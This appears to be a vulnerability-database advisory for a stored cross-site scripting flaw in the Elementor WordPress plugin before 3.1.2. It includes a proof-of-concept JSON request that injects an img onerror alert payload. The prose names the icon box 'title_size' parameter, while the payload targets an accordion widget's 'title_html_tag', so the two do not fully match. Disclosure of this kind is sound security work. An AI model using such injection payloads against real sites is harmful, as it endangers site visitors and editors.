Lucene search

K
wpexploitRamuel GallWPEX-ID:EF23DF6D-E265-44F6-BB94-1005B16D34D9
HistoryMar 17, 2021 - 12:00 a.m.

Elementor < 3.1.2 - Authenticated Stored Cross-Site Scripting (XSS) in Icon Box Widget

2021-03-1700:00:00
Ramuel Gall
87

0.001 Low

EPSS

Percentile

21.8%

In the plugin, the icon box widget (includes/widgets/icon-box.php) accepts a ‘title_size’ parameter. Although the element control lists a fixed set of possible html tags, it is possible for a user with Contributor or above permissions to send a modified ‘save_builder’ request containing JavaScript in the ‘title_size’ parameter, which is not filtered and is output without escaping. This JavaScript will then be executed when the saved page is viewed or previewed.

{"save_builder":{"action":"save_builder","data":{"status":"pending","elements":[{"id":"4710070","elType":"section","isInner":false,"settings":{},"elements":[{"id":"bd4890a","elType":"column","isInner":false,"settings":{"_column_size":100,"_inline_size":null},"elements":[{"id":"fa2d1ed","elType":"widget","isInner":false,"settings":{"tabs":[{"tab_title":"title1","tab_content":"thatsall","_id":"ce05b67"},{"tab_title":"title2","tab_content":"orisit","_id":"48bd168"}],"title_html_tag":"img src=\"\" onerror=\"alert(1);\""},"elements":[],"widgetType":"accordion"}]}]}],"settings":{"post_title":"accordionpoc attr","post_status":"pending"}}}}

0.001 Low

EPSS

Percentile

21.8%

Related for WPEX-ID:EF23DF6D-E265-44F6-BB94-1005B16D34D9